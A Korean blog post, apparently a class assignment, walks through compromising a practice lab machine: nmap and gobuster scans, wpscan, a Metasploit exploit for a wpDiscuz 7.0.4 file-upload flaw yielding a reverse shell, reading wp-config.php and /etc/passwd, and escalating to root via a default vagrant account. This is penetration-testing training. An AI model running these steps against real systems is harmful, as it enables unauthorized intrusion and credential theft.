[normaltic 비기너 클래스 1기] 2023-10-04 Drill Course 3주차 과제 Task 2

2023. 10. 15. 17:17normaltic 비기너 클래스 1기/과제

 

Task 2

 

 

nmap -sCV -Pn 10.10.241.243 > scan_res
cat scan_res

 

공격대상 시스템의 포트를 스캔한 결과 22번, 80번 포트가 열려있는 것을 확인하였다. 80번 포트가 열려있으므로 IP 주소를 입력하여 웹 페이지에 접근한다.

 

 

gobuster dir -u http://10.10.241.243/ -w /usr/share/dirb/wordlists/common.txt -t 60

 

공격대상의 IP 주소를 입력한 결과 웹 사이트 하나가 나타났는데 해당 웹 사이트에서 알 수 있는 정보는 없는 걸로 판단이 되어 웹 디렉터리 스캔을 진행하였다.

 

 

스캔된 디렉터리 중 /assets 디렉터리를 요청했더니 디렉터리 파일 리스트를 출력해 주는 취약점이 발견되었다. 이로 인해 추가적인 공격이 가능하였다. /assets 하위 디렉터리를 모두 탐색했지만 별다른 정보는 나오지 않았다. /assets/fonts 디렉터리에 존재하는 /blog 디렉터리를 확인하기 위해 클릭했더니 또 다른 웹 사이트로 안내하였다. 이 웹 사이트는 WordPress로 제작이 된 걸로 확인이 되어 wpscan으로 공격을 계속 진행하였다.

 

 

wpscan --url http://10.10.241.243/assets/fonts/blog/

 

스캔 결과 딱히 도움을 주는 정보를 찾지 못하여 이번에는 관련된 플러그인 스캔을 진행하였다.

 

 

wpscan --url http://10.10.241.243/assets/fonts/blog/ --plugins-detection aggressive -t 100

 

플러그인 스캔 결과 'akismet 4.0.8', 'wpdiscuz 7.0.4'의 두 플러그인이 출력되었다.

 

 

searchsploit akismet 4.0.8
searchsploit wpdiscuz 7.0.4

 

각 플러그인을 searchsploit 명령어를 사용하여 취약점을 스캔하였더니 akismet 플러그인은 발견된 취약점이 없었고, wpdiscuz 플러그인은 취약점이 발견되었다. 발견된 취약점 중 'Unauthenticated Arbitrary File Upload' 취약점을 사용하여 공격을 진행하였다. 해당 취약점은 metasploit을 이용하므로 msfconsole 명령어를 입력해 준다.

 

 

msfconsol
search wpdiscuz 7.0.4
use 0
options
set blogpath /?p=29
set rhosts 10.10.241.243
set targeturi http://10.10.241.243/assets/fonts/blog/
set lhost 10.18.30.184
run
shell
id
pwd

 

msfconsole 명령어를 입력한 후 취약점을 찾아 options에 필요한 정보들을 입력해 주고 실행하여 쉘을 획득하였다.

 

 

ls -al
python -h
python3 -h
python3 -c "import pty;pty.spawn('/bin/bash')"
cat wp-config.php

 

WordPress를 사용하는 시스템의 쉘을 획득했을 경우 먼저 확인해 볼 파일이 wp-config.php 파일이다. 이 파일에는 해당 시스템의 DB 계정 정보가 들어있기 때문이다. 그래서 root 계정과 비밀번호를 얻을 수 있었다. 

 

 

su root
mysql -h localhost -u root -p
show databases;
use mysql;
show tables;
select * from user;

 

획득한 계정 정보로 크리덴셜 스터핑 공격을 진행하였으나 비밀번호가 다른지 접속할 수가 없었다. 그래서 mysql에 접속하여 탐색하여 user 테이블을 확인하였으나 root 계정 정보뿐이어서 별다른 정보를 얻을 수 없었다.

 

 

exit
cat /etc/passwd

 

그래서 공격대상 시스템의 계정 정보를 확인하여 정보를 탐색하였다. 그중 vagrant라는 계정이 있었는데 구글링 해본 결과 vagrant라는 기본 계정이라 비밀번호가 vagrant였다. 

 

 

su vagrant
sudo -l
sudo su root

 

vagrant 계정으로 접속을 성공하여 해당 계정의 sudo 권한을 확인하였더니, 비밀번호 필요 없이 모든 명령어를 사용가능하다는 것을 확인하였다. 그래서 root 계정으로 사용자 전환을 하여 root 계정으로 접속하여 root 권한을 얻었다.